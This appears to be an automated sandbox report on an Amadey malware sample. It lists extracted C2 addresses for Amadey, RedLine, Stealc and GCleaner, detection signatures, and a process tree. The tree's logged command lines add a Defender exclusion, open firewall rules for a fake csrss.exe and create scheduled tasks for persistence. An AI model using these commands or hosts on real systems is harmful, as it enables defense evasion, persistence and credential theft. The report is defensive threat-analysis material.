amadey | 43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815

Analysis

max time kernel
13s
max time network
112s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
16-05-2024 21:52

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
Size

1.8MB
MD5

9dac1454b2e782ee490cf0ded37abb62
SHA1

3b5b6e0d822c2583ed47961a23b6140dd909d540
SHA256

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815
SHA512

a2a70b87a98a8b7a6b259bf7e3e4c51d763bb7c0f38c03461c9480de9517f21b8897c2eee0129f2867d3f6ad19a1334bc9d6979531f84965a9b9833b00adcc0c
SSDEEP

49152:AePpHkyCwbKxH1jESmvZb2r1lcqTykUQtMWr:pl0wbKh1ASmBbzI

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

http://5.42.96.7

Attributes

install_dir
7af68cdb52
install_file
axplons.exe
strings_key
e2ce58e78f631ed97d01fe7b70e85d5e
url_paths
/zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

185.172.128.33:8970

Extracted

Family

redline

Botnet

185.215.113.67:26260

Extracted

Family

stealc

Botnet

zzvv

http://23.88.106.134

Attributes

url_path
/c73eed764cc59dcb.php

Extracted

Family

gcleaner

185.172.128.90

5.42.64.56

5.42.65.64

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/980-512-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3128-511-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/980-605-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3128-604-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2404-679-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3600-680-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2404-787-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3600-804-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe	family_redline
behavioral2/memory/1752-74-0x00000000003A0000-0x00000000003F2000-memory.dmp	family_redline
behavioral2/memory/900-80-0x00000000002E0000-0x00000000003A0000-memory.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe	family_redline
behavioral2/memory/3724-126-0x0000000000060000-0x00000000000B2000-memory.dmp	family_redline

Stealc
Stealc is an infostealer written in C++.
stealer stealc

XMRig Miner payload 4 IoCs

miner

Processes:

resource	yara_rule
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	family_xmrig
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	xmrig
C:\Windows\Temp\921510.exe	family_xmrig
C:\Windows\Temp\921510.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

axplons.exe43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplons.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4008	powershell.exe
4740	powershell.exe
5500	powershell.exe
3564	powershell.exe
4644	powershell.exe
1540	powershell.exe
3964	powershell.exe
3216	powershell.exe
5792	powershell.exe
3452	powershell.exe
3424	powershell.exe
4680	powershell.exe
3676	powershell.exe
4580	powershell.exe
4452	powershell.exe
4336	powershell.exe
5648	powershell.exe
3104	powershell.exe
920	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

3152 netsh.exe
1784 netsh.exe
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
3152	netsh.exe
1784	netsh.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exeaxplons.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplons.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplons.exe

Executes dropped EXE 7 IoCs

Processes:

axplons.exealex.exetrf.execrypted333.exekeks.exeredline1.exeinstall.exe

pid process

2276 axplons.exe
864 alex.exe
900 trf.exe
2480 crypted333.exe
1752 keks.exe
3724 redline1.exe
4228 install.exe

pid	process
2276	axplons.exe
864	alex.exe
900	trf.exe
2480	crypted333.exe
1752	keks.exe
3724	redline1.exe
4228	install.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exeaxplons.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000\Software\Wine	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
Key opened	\REGISTRY\USER\S-1-5-21-2994005945-4089876968-1367784197-1000\Software\Wine	axplons.exe

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Pictures\62dFXIwrDfZWSDKlLeiSQUVn.exe	themida
behavioral2/memory/3960-609-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral2/memory/3960-610-0x0000000140000000-0x0000000140C18000-memory.dmp	themida
behavioral2/memory/3960-774-0x0000000140000000-0x0000000140C18000-memory.dmp	themida

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

11 pastebin.com
28 pastebin.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

42 api.myip.com
2 api.myip.com
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exeaxplons.exe

pid process

1728 43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
2276 axplons.exe

flow	ioc
11	pastebin.com
28	pastebin.com

flow	ioc
42	api.myip.com
2	api.myip.com

Suspicious use of SetThreadContext 2 IoCs

Processes:

alex.execrypted333.exe

description	pid	process	target process
PID 864 set thread context of 72	864	alex.exe	RegAsm.exe
PID 2480 set thread context of 1548	2480	crypted333.exe	RegAsm.exe

Drops file in Program Files directory 6 IoCs

Processes:

install.exe

description	ioc	process
File created	C:\Program Files (x86)\GameStabilityService\installm.bat	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\installm.bat	install.exe
File created	C:\Program Files (x86)\GameStabilityService\GameService.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\GameService.exe	install.exe
File created	C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	install.exe
File opened for modification	C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe	install.exe

Drops file in Windows directory 1 IoCs

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe

description ioc process

File created C:\Windows\Tasks\axplons.job 43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1936 sc.exe
6092 sc.exe
1388 sc.exe
4888 sc.exe
5444 sc.exe
5628 sc.exe
5620 sc.exe
5164 sc.exe
3524 sc.exe
5260 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\Tasks\axplons.job	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe

pid	process
1936	sc.exe
6092	sc.exe
1388	sc.exe
4888	sc.exe
5444	sc.exe
5628	sc.exe
5620	sc.exe
5164	sc.exe
3524	sc.exe
5260	sc.exe

Program crash 11 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4116	864	WerFault.exe	alex.exe
3808	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
3460	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
644	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
1088	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
3140	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
4232	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
4764	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
3360	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
2404	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe
1728	4588	WerFault.exe	9IgI9qQ6ggIXa8IlDw7e0mPe.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2568 schtasks.exe
2088 schtasks.exe
4232 schtasks.exe
5600 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4028 taskkill.exe

pid	process
2568	schtasks.exe
2088	schtasks.exe
4232	schtasks.exe
5600	schtasks.exe

pid	process
4028	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

keks.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	keks.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	keks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exeaxplons.exe

pid	process
1728	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
1728	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
2276	axplons.exe
2276	axplons.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

trf.exe

description	pid	process
Token: SeDebugPrivilege	900	trf.exe
Token: SeBackupPrivilege	900	trf.exe
Token: SeSecurityPrivilege	900	trf.exe
Token: SeSecurityPrivilege	900	trf.exe
Token: SeSecurityPrivilege	900	trf.exe
Token: SeSecurityPrivilege	900	trf.exe

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exeaxplons.exealex.exeRegAsm.execrypted333.exe

description	pid	process	target process
PID 1728 wrote to memory of 2276	1728	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe	axplons.exe
PID 1728 wrote to memory of 2276	1728	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe	axplons.exe
PID 1728 wrote to memory of 2276	1728	43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe	axplons.exe
PID 2276 wrote to memory of 864	2276	axplons.exe	alex.exe
PID 2276 wrote to memory of 864	2276	axplons.exe	alex.exe
PID 2276 wrote to memory of 864	2276	axplons.exe	alex.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 864 wrote to memory of 72	864	alex.exe	RegAsm.exe
PID 72 wrote to memory of 900	72	RegAsm.exe	trf.exe
PID 72 wrote to memory of 900	72	RegAsm.exe	trf.exe
PID 2276 wrote to memory of 2480	2276	axplons.exe	crypted333.exe
PID 2276 wrote to memory of 2480	2276	axplons.exe	crypted333.exe
PID 2276 wrote to memory of 2480	2276	axplons.exe	crypted333.exe
PID 72 wrote to memory of 1752	72	RegAsm.exe	keks.exe
PID 72 wrote to memory of 1752	72	RegAsm.exe	keks.exe
PID 72 wrote to memory of 1752	72	RegAsm.exe	keks.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2480 wrote to memory of 1548	2480	crypted333.exe	RegAsm.exe
PID 2276 wrote to memory of 3724	2276	axplons.exe	redline1.exe
PID 2276 wrote to memory of 3724	2276	axplons.exe	redline1.exe
PID 2276 wrote to memory of 3724	2276	axplons.exe	redline1.exe
PID 2276 wrote to memory of 4228	2276	axplons.exe	install.exe
PID 2276 wrote to memory of 4228	2276	axplons.exe	install.exe
PID 2276 wrote to memory of 4228	2276	axplons.exe	install.exe

C:\Users\Admin\AppData\Local\Temp\43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe
"C:\Users\Admin\AppData\Local\Temp\43c51e432dfddac2930674c7f20cc00775d6af8af821aa3764b4bca9729ae815.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1728

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2276

C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:72

C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:900

C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
5⤵
- Executes dropped EXE
- Modifies system certificate store
PID:1752

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
5⤵
PID:4196

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
6⤵
PID:3104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 864 -s 364
4⤵
- Program crash
PID:4116

C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
"C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1548

C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
3⤵
- Executes dropped EXE
PID:3724

C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
3⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4228

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "
4⤵
PID:1232

C:\Windows\SysWOW64\sc.exe
Sc delete GameSyncLinks
5⤵
- Launches sc.exe
PID:1936

C:\Program Files (x86)\GameStabilityService\GameService.exe
GameService remove GameSyncLinks confirm
5⤵
PID:3604

C:\Program Files (x86)\GameStabilityService\GameService.exe
GameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
5⤵
PID:5072

C:\Program Files (x86)\GameStabilityService\GameService.exe
GameService start GameStabilityService
5⤵
PID:716

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
4⤵
PID:2404

C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
3⤵
PID:2468

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:4396

C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
3⤵
PID:4724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:3488

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
3⤵
PID:692

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
4⤵
- Creates scheduled task(s)
PID:2568

C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
"C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
3⤵
PID:1192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force
4⤵
- Command and Scripting Interpreter: PowerShell
PID:3964

C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
4⤵
PID:1040

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
4⤵
PID:1904

C:\Users\Admin\Pictures\9IgI9qQ6ggIXa8IlDw7e0mPe.exe
"C:\Users\Admin\Pictures\9IgI9qQ6ggIXa8IlDw7e0mPe.exe"
5⤵
PID:4588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 476
6⤵
- Program crash
PID:3808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 524
6⤵
- Program crash
PID:3460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 536
6⤵
- Program crash
PID:644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 824
6⤵
- Program crash
PID:1088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 848
6⤵
- Program crash
PID:3140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 836
6⤵
- Program crash
PID:4232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1048
6⤵
- Program crash
PID:4764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1100
6⤵
- Program crash
PID:3360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1444
6⤵
- Program crash
PID:2404

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "9IgI9qQ6ggIXa8IlDw7e0mPe.exe" /f & erase "C:\Users\Admin\Pictures\9IgI9qQ6ggIXa8IlDw7e0mPe.exe" & exit
6⤵
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "9IgI9qQ6ggIXa8IlDw7e0mPe.exe" /f
7⤵
- Kills process with taskkill
PID:4028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 1500
6⤵
- Program crash
PID:1728

C:\Users\Admin\Pictures\jKHsYeEAxK7sDmRltbMOcULT.exe
"C:\Users\Admin\Pictures\jKHsYeEAxK7sDmRltbMOcULT.exe" /s
5⤵
PID:3820

C:\Users\Admin\Pictures\pxSxEZw0Av4fJv6U32oW5ubq.exe
"C:\Users\Admin\Pictures\pxSxEZw0Av4fJv6U32oW5ubq.exe"
5⤵
PID:3128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Command and Scripting Interpreter: PowerShell
PID:4336

C:\Users\Admin\Pictures\pxSxEZw0Av4fJv6U32oW5ubq.exe
"C:\Users\Admin\Pictures\pxSxEZw0Av4fJv6U32oW5ubq.exe"
6⤵
PID:3600

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3424

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
7⤵
PID:1232

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
8⤵
- Modifies Windows Firewall
PID:1784

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:4680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:4580

C:\Users\Admin\Pictures\4Uq6JEVzK7gvblTyeCw5UWBY.exe
"C:\Users\Admin\Pictures\4Uq6JEVzK7gvblTyeCw5UWBY.exe"
5⤵
PID:980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
6⤵
- Command and Scripting Interpreter: PowerShell
PID:4452

C:\Users\Admin\Pictures\4Uq6JEVzK7gvblTyeCw5UWBY.exe
"C:\Users\Admin\Pictures\4Uq6JEVzK7gvblTyeCw5UWBY.exe"
6⤵
PID:2404

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3452

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
7⤵
PID:864

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
8⤵
- Modifies Windows Firewall
PID:3152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3676

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
7⤵
PID:2552

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
8⤵
- Command and Scripting Interpreter: PowerShell
PID:920

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
8⤵
- Creates scheduled task(s)
PID:5600

C:\Windows\SYSTEM32\schtasks.exe
